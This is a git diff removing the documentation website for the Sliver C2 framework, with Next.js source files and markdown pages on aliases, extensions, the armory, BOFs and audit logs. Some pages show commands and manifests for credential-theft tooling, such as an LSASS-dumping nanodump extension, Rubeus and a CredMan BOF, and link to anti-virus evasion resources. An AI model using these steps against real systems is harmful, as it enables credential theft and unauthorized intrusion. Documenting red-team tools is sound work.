mkdir -p $USER_DIR/.sliver-client/configs
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
fi
done
-3
View File
@@ -1,3 +0,0 @@
{
"extends": "next/core-web-vitals"
}
-43
View File
@@ -1,43 +0,0 @@
# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
# generated files
public/sitemap.json
public/docs.json
# code editor files
.vscode/
# dependencies
/node_modules
/.pnp
.pnp.js
.yarn/install-state.gz
# testing
/coverage
# next.js
/.next/
/out/
# production
/build
# misc
.DS_Store
*.pem
# debug
npm-debug.log*
yarn-debug.log*
yarn-error.log*
# local env files
.env*.local
# vercel
.vercel
# typescript
*.tsbuildinfo
next-env.d.ts
-3
View File
@@ -1,3 +0,0 @@
# Sliver Docs
The source code for the Sliver documentation site.
-21
View File
@@ -1,21 +0,0 @@
declare module "asciinema-player" {
export function create(
src: string,
element: HTMLElement | null,
// START asciinemaOptions
opts: {
cols?: string,
rows?: string,
autoPlay?: boolean,
preload?: boolean,
loop?: boolean | number,
startAt?: number | string,
speed?: number,
idleTimeLimit?: number,
theme?: string,
poster?: string,
fit?: string,
fontSize?: string
}
)
}
-41
View File
@@ -1,41 +0,0 @@
import "asciinema-player/dist/bundle/asciinema-player.css";
import React from "react";
type AsciinemaPlayerProps = {
src: string;
cols?: string;
rows?: string;
autoPlay?: boolean;
preload?: boolean;
loop?: boolean | number;
startAt?: number | string;
speed?: number;
idleTimeLimit?: number;
theme?: string;
poster?: string;
fit?: string;
fontSize?: string;
};
function AsciinemaPlayer({ src, ...asciinemaOptions }: AsciinemaPlayerProps) {
const ref = React.useRef<HTMLDivElement>(null);
const [player, setPlayer] =
React.useState<typeof import("asciinema-player")>();
React.useEffect(() => {
import("asciinema-player").then((p) => {
setPlayer(p);
});
}, []);
React.useEffect(() => {
const currentRef = ref.current;
const instance = player?.create(src, currentRef, asciinemaOptions);
return () => {
instance?.dispose();
};
}, [src, player, asciinemaOptions]);
return <div ref={ref} />;
}
export default AsciinemaPlayer;
-91
View File
@@ -1,91 +0,0 @@
import { Themes } from "@/util/themes";
import { faLinux, faPython } from "@fortawesome/free-brands-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import Editor, { loader } from "@monaco-editor/react";
import { useTheme } from "next-themes";
import React, { useRef } from "react";
export type CodeSchema = {
name: string;
script_type: string;
source_code: string;
};
export type CodeViewerProps = {
script: CodeSchema;
fontSize?: number;
className?: string;
};
export function renderScriptTypeIcon(key: string, className?: string) {
switch (key) {
case "bash":
return (
<FontAwesomeIcon icon={faLinux} className={className || undefined} />
);
case "python":
return (
<FontAwesomeIcon icon={faPython} className={className || undefined} />
);
default:
return <></>;
}
}
const CodeViewer = (props: CodeViewerProps) => {
const { theme } = useTheme();
// Editor
loader.config({ paths: { vs: "/js/monaco" } });
const editorRef = useRef(null as any);
function handleEditorDidMount(editor: any, monaco: any) {
editorRef.current = editor;
}
const vsTheme = React.useMemo(() => {
return theme === Themes.DARK ? "vs-dark" : undefined;
}, [theme]);
const language = React.useMemo(() => {
switch (props.script?.script_type) {
case "bash":
return "shell";
default:
return props.script?.script_type || "shell";
}
}, [props]);
const [scriptSourceCode, setScriptSourceCode] = React.useState(
props.script.source_code
);
const [fontSize, setFontSize] = React.useState(props.fontSize || 14);
const editorContainerClassName = React.useMemo(() => {
return theme === Themes.DARK
? "col-span-12 mt-4 rounded-2xl overflow-hidden"
: "col-span-12 mt-4 rounded-2xl overflow-hidden border border-gray-300";
}, [theme]);
return (
<div className={editorContainerClassName}>
<Editor
className={props.className || "min-h-[200px]"}
theme={vsTheme}
defaultLanguage={language}
defaultValue={scriptSourceCode}
onChange={(value, event) => {
setScriptSourceCode(value || "");
}}
onMount={handleEditorDidMount}
options={{
readOnly: true,
fontFamily: "Fira Code",
fontLigatures: true,
fontSize: fontSize,
}}
/>
</div>
);
};
export default CodeViewer;
@@ -1,26 +0,0 @@
export type SliversIconProps = {
className?: string;
fill?: string;
height?: number;
width?: number;
};
export const SliversIcon = (props: SliversIconProps) => {
return (
<svg
aria-hidden="true"
focusable="false"
xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 912 1024"
className={props.className}
height={props.height || 24}
width={props.width}
>
<path
fill={props.fill ? props.fill : "currentColor"}
d="M3.767 709.26s-38.415-249.17 142.452-440.946C326.97 76.538 584.482 63.816 759.689 133.127c0 0-32.847 29.271-32.847 65.806 0 36.444 21.936 58.378 45.658 82.101 23.723 23.815 135.095 158.909 135.095 312.294 0 153.453-125.972 336.015-324.992 336.015-199.042 0-312.293-144.239-328.682-310.414 0 0 96.771 164.294 255.611 164.294s213.62-125.971 213.62-219.167c0-93.034-51.113-272.02-275.666-272.02-224.645 0-379.795 199.042-443.72 417.224z"
></path>
</svg>
);
};
-102
View File
@@ -1,102 +0,0 @@
import { SliversIcon } from "@/components/icons/slivers";
import { Themes } from "@/util/themes";
import { faHome, faMoon, faSun } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import {
Button,
Link,
Navbar,
NavbarBrand,
NavbarContent,
NavbarItem,
} from "@nextui-org/react";
import { useTheme } from "next-themes";
import { useRouter } from "next/router";
import React from "react";
export type TopNavbarProps = {};
export default function TopNavbar(props: TopNavbarProps) {
const router = useRouter();
const { theme, setTheme } = useTheme();
const lightDarkModeIcon = React.useMemo(
() => (theme === Themes.DARK ? faSun : faMoon),
[theme]
);
return (
<Navbar
isBordered
maxWidth="full"
classNames={{
item: [
"flex",
"relative",
"h-full",
"items-center",
"data-[active=true]:after:content-['']",
"data-[active=true]:after:absolute",
"data-[active=true]:after:bottom-0",
"data-[active=true]:after:left-0",
"data-[active=true]:after:right-0",
"data-[active=true]:after:h-[2px]",
"data-[active=true]:after:rounded-[2px]",
"data-[active=true]:after:bg-primary",
],
}}
>
<NavbarBrand>
<SliversIcon />
<span className="hidden sm:block font-bold text-inherit">
&nbsp; Sliver C2
</span>
</NavbarBrand>
<NavbarContent>
<NavbarItem isActive={router.pathname === "/"}>
<Button
variant="light"
color={router.pathname === "/" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/")}
>
<FontAwesomeIcon fixedWidth icon={faHome} />
</Button>
</NavbarItem>
<NavbarItem isActive={router.pathname.startsWith("/tutorials")}>
<Button
variant="light"
color={router.pathname === "/tutorials" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/tutorials")}
>
Tutorials
</Button>
</NavbarItem>
<NavbarItem isActive={router.pathname.startsWith("/docs")}>
<Button
variant="light"
color={router.pathname === "/docs" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/docs")}
>
Docs
</Button>
</NavbarItem>
</NavbarContent>
<NavbarContent as="div" justify="end">
<Button
variant="light"
onPress={() => {
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
}}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>
</NavbarContent>
</Navbar>
);
}
-16
View File
@@ -1,16 +0,0 @@
/** @type {import('next').NextConfig} */
const nextConfig = {
output: 'export',
reactStrictMode: true,
images: {
unoptimized: true,
},
webpack: (config, { isServer }) => {
if (isServer) {
require('./prebuild/generate-docs');
}
return config;
}
}
module.exports = nextConfig;
-8562
View File
File diff suppressed because it is too large. Load diff
-41
View File
@@ -1,41 +0,0 @@
{
"name": "sliver-docs",
"version": "0.1.0",
"private": true,
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start",
"lint": "next lint"
},
"dependencies": {
"@fontsource/fira-code": "^5.0.16",
"@fortawesome/free-brands-svg-icons": "^6.5.1",
"@fortawesome/free-solid-svg-icons": "^6.5.1",
"@fortawesome/react-fontawesome": "^0.2.0",
"@monaco-editor/react": "^4.6.0",
"@nextui-org/react": "^2.2.9",
"@tanstack/react-query": "^5.13.4",
"asciinema-player": "^3.6.3",
"framer-motion": "^10.16.16",
"lunr": "^2.3.9",
"next": "14.0.4",
"next-themes": "^0.2.1",
"react": "18.2.0",
"react-dom": "18.2.0",
"react-markdown": "^9.0.1",
"remark-gfm": "^4.0.0"
},
"devDependencies": {
"@tailwindcss/typography": "^0.5.10",
"@types/node": "^20",
"@types/react": "^18",
"@types/react-dom": "^18",
"autoprefixer": "^10.0.1",
"eslint": "^8",
"eslint-config-next": "14.0.4",
"postcss": "^8",
"tailwindcss": "^3.3.0",
"typescript": "^5"
}
}
-39
View File
@@ -1,39 +0,0 @@
import Navbar from "@/components/navbar";
import "@/styles/globals.css";
import { Themes } from "@/util/themes";
import { NextUIProvider } from "@nextui-org/react";
import {
HydrationBoundary,
QueryClient,
QueryClientProvider,
} from "@tanstack/react-query";
import { ThemeProvider as NextThemesProvider, useTheme } from "next-themes";
import type { AppProps } from "next/app";
import React from "react";
export default function App({ Component, pageProps }: AppProps) {
const { theme, setTheme } = useTheme();
function getThemeState(): Themes {
if (typeof window !== "undefined") {
const loadedTheme = localStorage.getItem("theme");
const currentTheme = loadedTheme ? (loadedTheme as Themes) : Themes.DARK;
setTheme(currentTheme);
}
return Themes.DARK;
}
const [queryClient] = React.useState(() => new QueryClient());
return (
<NextUIProvider>
<NextThemesProvider attribute="class" defaultTheme={getThemeState()}>
<QueryClientProvider client={queryClient}>
<HydrationBoundary state={pageProps.dehydratedState}>
<Navbar />
<Component {...pageProps} />
</HydrationBoundary>
</QueryClientProvider>
</NextThemesProvider>
</NextUIProvider>
);
}
-31
View File
@@ -1,31 +0,0 @@
import Document, { Head, Html, Main, NextScript } from "next/document";
import React from "react";
// This generates the https: and wss: "connect-src" directives based on the above backends list so its a little easier to edit.
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self' data: https://user-images.githubusercontent.com https://i.imgur.com; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`;
class MyDocument extends Document {
static async getInitialProps(ctx: any) {
const initialProps = await Document.getInitialProps(ctx);
return {
...initialProps,
styles: React.Children.toArray([initialProps.styles]),
};
}
render() {
return (
<Html lang="en">
<Head>
<meta httpEquiv="Content-Security-Policy" content={CSP} />
</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
);
}
}
export default MyDocument;
-177
View File
@@ -1,177 +0,0 @@
import CodeViewer, { CodeSchema } from "@/components/code";
import { frags } from "@/util/frags";
import { Themes } from "@/util/themes";
import {
Card,
CardBody,
CardHeader,
Divider,
Listbox,
ListboxItem,
} from "@nextui-org/react";
import { useQuery } from "@tanstack/react-query";
import { NextPage } from "next";
import { useTheme } from "next-themes";
import Image from "next/image";
import React from "react";
import Markdown from "react-markdown";
import remarkGfm from "remark-gfm";
type Doc = {
name: string;
content: string;
};
type Docs = {
docs: Doc[];
};
const DocsIndexPage: NextPage = () => {
const { theme } = useTheme();
const { data: docs, isLoading } = useQuery({
queryKey: ["docs"],
queryFn: async (): Promise<Docs> => {
const res = await fetch("/docs.json");
return res.json();
},
});
const [name, _setName] = React.useState(decodeURI(frags.get("name") || ""));
const setName = (name: string) => {
frags.set("name", name);
_setName(name);
};
const [markdown, setMarkdown] = React.useState(
name === ""
? docs?.docs[0].content
: docs?.docs.find((doc) => doc.name === name)?.content || ""
);
React.useEffect(() => {
if (docs && name !== "") {
setMarkdown(docs?.docs.find((doc) => doc.name === name)?.content);
}
if (docs && name === "" && docs.docs.length > 0) {
setName(docs.docs[0].name);
setMarkdown(docs.docs[0].content);
}
}, [docs, name]);
if (isLoading || !docs) {
return <div>Loading...</div>;
}
return (
<div className="grid grid-cols-12">
<div className="col-span-3 mt-4 ml-4">
<div className="flex flex-row justify-center text-lg mb-2 gap-2">
Topics
</div>
<div className="mt-2">
<Listbox
aria-label="Toolbox Menu"
className="p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium"
itemClasses={{
base: "px-3 first:rounded-t-medium last:rounded-b-medium rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
}}
>
{docs.docs.map((doc) => (
<ListboxItem
key={doc.name}
value={doc.name}
onClick={() => {
setName(doc.name);
setMarkdown(doc.content);
}}
>
{doc.name}
</ListboxItem>
))}
</Listbox>
</div>
</div>
<div className="col-span-9">
<Card className="mt-8 ml-8 mr-8 mb-8">
<CardHeader>
<span className="text-3xl">{name}</span>
</CardHeader>
<Divider />
<CardBody
className={
theme === Themes.DARK
? "prose prose-sm dark:prose-invert"
: "prose prose-sm prose-slate"
}
>
<Markdown
remarkPlugins={[remarkGfm]}
components={{
pre(props): any {
const { children, className, node, ...rest } = props;
const childClass = (children as any)?.props?.className;
if (
childClass &&
childClass.startsWith("language-") &&
childClass !== "language-plaintext"
) {
// @ts-ignore
return <div {...rest}>{children}</div>;
}
return (
<pre {...rest} className={className}>
{children}
</pre>
);
},
img(props) {
const { src, alt, ...rest } = props;
console.log(props);
return (
// @ts-ignore
<Image
{...rest}
src={src || ""}
alt={alt || ""}
width={500}
height={500}
className="w-full rounded-medium"
/>
);
},
code(props) {
const { children, className, node, ...rest } = props;
const langTag = /language-(\w+)/.exec(className || "");
const lang = langTag ? langTag[1] : "plaintext";
if (lang === "plaintext") {
return (
<code {...rest} className={className}>
{children}
</code>
);
}
return (
<CodeViewer
className="min-h-[250px]"
key={`${Math.random()}`}
fontSize={11}
script={
{
script_type: lang,
source_code: (children as string) || "",
} as CodeSchema
}
/>
);
},
}}
>
{markdown}
</Markdown>
</CardBody>
</Card>
</div>
</div>
);
};
export default DocsIndexPage;
@@ -1,160 +0,0 @@
Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory).
#### Aliases Command Parsing
**⚠️ IMPORTANT:** It's important to understand that all alias commands have certain Sliver shell flags (those that appear in `--help`). Your Sliver shell commands are lexically parsed by the Sliver shell first, and only unnamed positional arguments are passed to the alias code. This means you may need to escape certain arguments in order for them to be correctly parsed.
For example with Seatbelt, `seatbelt -group=system` will fail because the Sliver shell will attempt to interpret the `-group` flag as a named flag (i.e., arguments that appear in `--help`). To ensure this argument is parsed as a positional argument we need to tell the CLI that no more arguments are to be passed to the sliver command using `--`, so the correct syntax is `seatbelt -- -group=system`
```plaintext
[server] sliver (ROUND_ATELIER) > seatbelt -group=system
error: invalid flag: -group
[server] sliver (ROUND_ATELIER) > seatbelt -- -group=system
[*] seatbelt output:
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.1.1 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
====== AMSIProviders ======
GUID : {2781761E-28E0-4109-99FE-B9D127C57AFE}
ProviderPath : "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2111.5-0\MpOav.dll"
====== AntiVirus ======
Cannot enumerate antivirus. root\SecurityCenter2 WMI namespace is not available on Windows Servers
...
```
Another trick is to provide a single empty string argument, after which all arguments will be parsed as positional e.g., `seatbelt '' -group=system`
**⚠️ IMPORTANT:** Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension.
## What's the difference between an alias and an extension?
From an end-user perspective there's not much of a difference between the two, except that extensions' arguments will show up in `--help` and may be required.
An alias is essentially just a thin wrapper around the existing `sideload` and `execute-assembly` commands, and aliases cannot have dependencies.
An extension is a shared library that is reflectively loaded into the Sliver implant process, and is passed several callbacks to return data to the implant. As such these extensions must implement the Sliver API. Extensions may also have dependencies, which are other extensions. For example, the COFF Loader is a DLL extension that loads and executes BOFs, in turn BOFs simply extensions that rely on the COFF Loader as a dependency. These types of extensions do not need to implement any Sliver-specific API, since the Sliver API is abstracted by their dependency.
## Aliases
A Sliver alias is nothing more than a folder with the following structure:
- an `alias.json` file
- alias binaries in one of the following formats:
- .NET assemblies
- shared libraries (`.so`, `.dll`, `.dylib`)
Here is an example for the `Rebeus` alias, reusing some of the public tools from [the GhostPack organisation](https://github.com/GhostPack):
```
$ tree GhostPack
Rubeus
├── alias.json
├── Rubeus.exe
```
The `alias.json` file has the following structure:
```json
{
"name": "Rubeus",
"version": "0.0.0",
"command_name": "rubeus",
"original_author": "@GhostPack (HarmJ0y)",
"repo_url": "https://github.com/sliverarmory/Rubeus",
"help": "Rubeus is a C# tool set for raw Kerberos interaction and abuses.",
"entrypoint": "Main",
"allow_args": true,
"default_args": "",
"is_reflective": false,
"is_assembly": true,
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "Rubeus.exe"
},
{
"os": "windows",
"arch": "386",
"path": "Rubeus.exe"
}
]
}
```
It contains a single JSON object, which has the following fields:
### Alias Fields
| Field Name | Description |
| --------------- | ---------------------------------------------------------- |
| `name` | The stylized display name of the alias |
| `command_name` | The actual console command (primary identifier) |
| `entrypoint` | The entrypoint (only required for DLLs / Reflective DLLs) |
| `help` | A short help message for the command |
| `long_help` | A longer help message describing the command and its usage |
| `allow_args` | Specify whether the command will allow arguments or not |
| `files` | A list of of extension files |
| `is_reflective` | Indicates whether the extension is a reflective DLL or not |
| `is_assembly` | Indicates whether the extension is a .NET assembly or not |
#### Files
| Field Name | Description |
| ---------- | ----------------------------------------------------------------------------------- |
| `os` | The operating system for which the file can be used on (i.e., `GOOS` syntax) |
| `arch` | The cpu architecture (i.e., `GOARCH` syntax) |
| `path` | Relative path to the file from the `alias.json`, parent directories are not allowed |
To load an alias in Sliver, use the `alias load` command:
```
sliver (CONCRETE_STEEL) > alias load /home/lesnuages/tools/misc/sliver-extensions/GhostPack/Rubeus
[*] Adding rubeus command: Rubeus is a C# toolset for raw Kerberos interaction and abuses.
[*] Rubeus extension has been loaded
```
The `help` command will now list the commands added by this extension:
```
sliver (CONCRETE_STEEL) > help
...
Sliver - 3rd Party extensions:
==============================
rubeus [GhostPack] Rubeus is a C# toolset for raw Kerberos interaction and abuses.
...
```
### Writing Aliases
To write a new alias, one must either create a shared library or a .NET assembly, then write a manifest file compliant with the description above.
As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](https://github.com/BishopFox/sliver/wiki/Using-3rd-party-tools) section, to understand how shared libraries are loaded on all platforms.
## Extensions
⚠️ Extensions are currently only supported when using Windows implants, though we're actively working on MacOS/Linux support.
Extensions are similar in structure to an alias, but internally work differently. An extension is an artifact of native code that is reflectively loaded by the implant and passed certain callbacks. These callbacks allow the extension to return data to the C2 server. Extensions may also have dependencies (other extensions), which Sliver will load prior to the extension; circular dependencies are not allowed. For example, all BOF extensions (`.o` files) rely on the COFF Loader extension (a `.dll`).
@@ -1,6 +0,0 @@
The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and [stagers](https://github.com/BishopFox/sliver/wiki/Stagers).
Here are some external resources for anti-virus evasion:
- https://www.veil-framework.com/framework/veil-evasion/
- https://iwantmore.pizza/posts/PEzor.html
@@ -1,32 +0,0 @@
This document describes the technical design of Sliver.
## High Level
There are four major components to the Sliver ecosystem:
- **Server Console -** The server console is the main interface, which is started when you run the `sliver-server` executable. The server console is a superset of the client console. All code is shared between the client/server consoles except server-specific commands related to client (i.e., operator) management. The server console talks over an in-memory gRPC interface to the server.
- **Sliver Server -** The Sliver server is also part of the `sliver-server` executable and manages the internal database, starts/stops network listeners (such as C2 listeners, though there are other types). The main interface used to interact with the server is the gRPC interface, thru which all functionality is implemented. By default the server will only start an in-memory gRPC listener that can only be communicated with from the server console. However, the gRPC interface can also be exposed to the network (i.e., multiplayer mode) over mutual TLS (mTLS).
- **Sliver Client -** The client console is the primary user interface that is used to interact with the Sliver server. Note that most of the code in the server console is actually the client console. The client console can also be compiled into a separate client binary file `sliver-client`, which is generally used to connect to the "mutliplayer" gRPC network listener.
- **Implant -** The implant is the actual malicious code run on the target system you want remote access to.
```
In ┌───────────────┐ C2
┌─────────┐ Memory │ │ Protocol ┌─────────┐
│ Server ├────────────►│ Sliver Server ├─────────►│ Implant │
│ Console │ │ │ └─────────┘
└─────────┘ └───────────────┘
▲
│
│gRPC/mTLS
│
┌────┴────┐
│ Sliver │
│ Client │
└─────────┘
```
By implementing all functionality over this gRPC interface, and only differing the in-memory/mTLS connection types the client code doesn't "know" if it's running in the server console or the client console. Due to this, a single command implementation will work in both the server console and over the network in multiplayer mode.
## Sliver Server
WIP
-49
View File
@@ -1,49 +0,0 @@
The armory is the Sliver Alias and Extension package manager (introduced in Sliver v1.5), it allows you to automatically install various 3rd party tools such as BOFs and .NET tooling.
The armory downloads packages from `github.com` and `api.github.com` so you'll need an internet connection in order for the command to work. The command does support proxies (see `--help`) and after an alias or extension is installed an internet connection is not required to execute the alias/extension.
Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
As of v1.5.14 you can also use `armory install all` to install _everything_ if you really want to.
## The Official Armory
The official armory ships with Sliver binaries and is included by default in the `Makefile` when compiling from source. You can interact with the Armory using the `armory` command. Packages installed from the official armory are compiled and cryptographically signed by the Sliver authors. While we make a best effort to review 3rd party code, you are responsible for reviewing and understanding any 3rd party code before using it. Source code for any alias or extension can be found under the [Sliver Armory GitHub](https://github.com/sliverarmory) organization.
#### Installing Packages
List available packages by running the `armory` command without arguments, packages are installed using the package's command name:
```
sliver > armory install rubeus
[*] Installing alias 'Rubeus' (v0.0.21) ... done!
sliver > rubeus -h
[Rubeus] Rubeus is a C# tool set for raw Kerberos interaction and abuses.
...
```
#### Updating Packages
You can update all installed aliases and extensions by running `armory update` command.
```
sliver > armory update
[*] All aliases up to date!
[*] 1 extension(s) out of date: coff-loader
[*] Installing extension 'coff-loader' (v1.0.10) ... done!
```
#### Removing Packages
You remove packages installed from the `armory` using the `aliases rm` and `extensions rm` commands depending on if the package is an alias or an extension. You can list installed aliases and extensions by running `aliases` and `extensions` respectfully.
Installed alias and extension files are stored in `~/.sliver-client/` by default if you want to manually remove a package simply delete its corresponding directory and restart the client.
## Private Armories
Sliver has experimental support for self-hosted private armories, but I've not gotten around to testing & writing the documentation for these, so you'll have to read thru the source code to figure out how they work for now. I'll eventually update this documentation and release a reference implementation. If you do play around with this, just know the design is subject to change before becoming a real feature.
@@ -1,19 +0,0 @@
Sliver keeps an audit log of every command and its arguments executed by the server (including commands executed by operators in multiplayer mode), as well as most events (such as a new session or beacon connecting to the server). The audit log's intended use is for after-action analysis; providing a detailed history of the entire engagement, including which commands were executed on which hosts when. This will include any commands executed by any operator on any session. Note some console commands only perform actions on the "client-side" and may not appear in the audit log, but will still appear in the client's command history. Additionally, interactive commands (e.g., `shell`) may not appear in the logs aside from the initial usage of the `shell` command.
By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets) environment variable.
#### Parsing Audit Logs
The audit log is stored in a newline delimited (one object per line) nested-JSON format designed to be primarily machine readable, an example entry is shown below:
```
{"level":"info","msg":"{\"request\":\"{\\\"Port\\\":8888}\",\"method\":\"/rpcpb.SliverRPC/StartMTLSListener\"}","time":"2021-06-16T10:22:54-05:00"}
```
**NOTE:** Due to limitations in the logging APIs the audit log contains nested JSON objects that may require additional parsing.
The top level JSON should always contain:
- `level` - The level indicates the type of action performed. Currently, `info` indicates commands and `warn` indicates events.
- `msg` - A JSON object encoded as a string. This object should always contain a `request` and a `method`. The contents of `method` indicate which command was executed, `request` will contain parameters to that command. The contents of `request` will vary depending on the command, but it will be based on the corresponding gRPC/Protobuf message.
- `time` - The server's timestamp of the log entry
@@ -1,119 +0,0 @@
Sliver v1.5 and later support the loading and execution of BOFs and COFFs, generally no code changes are needed to use BOFs with a Sliver implant. However, you may need to define a manifest file so that Sliver is aware of BOF arguments and their types.
### BOF Extensions
BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](https://github.com/BishopFox/sliver/wiki/Armory).
The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory) package manager:
**IMPORTANT:** BOF Extensions are installed per-sliver client, they are not stored on the server. Thus extensions are not shared across operators, each operator must install the extension to use it.
```
sliver > armory install nanodump
[*] Installing extension 'nanodump' (v0.0.5) ... done!
sliver > nanodump -h
A Beacon Object File that creates a minidump of the LSASS process.
Usage:
======
nanodump [flags] pid dump-name write-file signature
Args:
=====
pid int The PID of the process you want to dump.
dump-name string The name of the dump file.
write-file int 1 = write file, 0 = fileless
signature string Signature used for evasion, PMDM = default
Flags:
======
-h, --help display help
-s, --save Save output to disk
-t, --timeout int command timeout in seconds (default: 60)
```
### Converting BOFs to Sliver
Converting existing BOFs to work with Sliver is usually pretty easy, and shouldn't require any code changes. You'll need to define an `extension.json` though based on what arguments/etc. the BOF accepts.
To determine the arguments a BOF accepts and their types, you'll need to read `.cna` script that accompanies a given BOF. For example, the [CredMan](https://github.com/sliverarmory/CredManBOF/blob/main/CredMan.cna) `.cna` script is show below:
```
alias CredMan {
local('$handle $data $args $2');
if(size(@_) != 3){
berror($1, "CredMan: not enough arguments,Usage: CredMan [user process id] ");
return;
}
$handle = openf(script_resource("CredMan.o"));
$data = readb($handle, -1);
closef($handle)
$args = bof_pack($1,"i",$2);
btask($1, "Running CredMan");
beacon_inline_execute($1,$data,"go",$args);
}
beacon_command_register(
"CredMan",
"Enables SeTrustedCredManAccess Privilege in a token stolen from winlogon.exe to dump Windows Credential Manager");
```
| Type | Description | Sliver Type |
| ---- | -------------------------------- | ---------------------------- |
| b | binary data | `file` (path to binary data) |
| i | 4-byte integer | `int` or `integer` |
| s | 2-byte short integer | `short` |
| z | zero-terminated+encoded string | `string` |
| Z | zero-terminated wide-char string | `wstring` |
Looking at the script we can see the BOF requires a single integer argument. The corresponding Sliver `extension.json` file is shown below. Note that BOFs will always rely on the `coff-loader` extension but other kinds of extensions may not. If the `coff-loader` extension is not already installed on your system, it can be installed using `armory install coff-loader`. You can list installed extensions by simply running the `extensions` command with no arguments.
```json
{
"name": "credman",
"version": "1.0.0",
"command_name": "credman",
"extension_author": "lesnuages",
"original_author": "jsecu",
"repo_url": "https://github.com/sliverarmory/CredManBOF",
"help": "Dump credentials using the CredsBackupCredentials API",
"long_help": "",
"depends_on": "coff-loader",
"entrypoint": "go",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "credman.x64.o"
},
{
"os": "windows",
"arch": "386",
"path": "credman.x86.o"
}
],
"arguments": [
{
"name": "pid",
"desc": "PID of a process started by the target user",
"type": "int",
"optional": false
}
]
}
```
Once the manifest is defined load it into your client using `extensions load`, locally loaded extensions do not need to be cryptographically signed. The paths in the manifest should be relative to the manifest file, parent directories are not allowed.
More details can be found on the [Aliases & Extensions](https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions) page.
**IMPORTANT:** For BOF extensions to be properly detected by the Sliver client, the `path` must use the `.o` file extension.
@@ -1,37 +0,0 @@
⚠️ **NOTE:** This guide is intended for absolute beginners to the red team space, please see the [Getting Started](https://github.com/BishopFox/sliver/wiki/Getting-Started) guide for a more straight forward tutorial if that's not you.
# The Red Team Beginner's Guide to Sliver
⚠️ This page is a work in progress and is incomplete, you may want to read [Getting Started](https://github.com/BishopFox/sliver/wiki/Getting-Started) or the [Community Guides](https://github.com/BishopFox/sliver/wiki/Community-Guides) instead for the time being.
## Introduction
### What's a C2?
A command and control (C2) framework allows attackers to fully leverage existing access to computer systems or networks. C2 frameworks such as Sliver by themselves will generally not get you access to systems that you do not already have. There are many techniques for gaining initial access, however some of the most common are exploiting software vulnerabilities using something like [Metasploit](https://www.metasploit.com/), or by social engineering a user to inadvertently execute a C2 payload. Regardless of the initial access method, the subsequent steps taken by an attacker are referred to as "post-exploitation" activities.
Throughout this guide and the Sliver code base the following terms of art are used. These definitions may vary slightly across the industry but this is how we define them:
- **Implant** - A generic term for piece of software used to maintain access to an environment or system, generally through the use of command and control (C&C, C2, etc.), this is the code that the attack executes on the target machine as well as maintain access. The term "implant" is often interchangeable with "agent."
- **Beacon** - May refer to (1) a communication pattern where an implant periodically connects to the C2 server as apposed to using a stateful/real time connection (2) [Cobalt Strike's](https://www.cobaltstrike.com/) primary implant, more often called "CS Beacon." In the context of Sliver, "Beacon" specifically refers to a Sliver implant that implements definition (1) communication style.
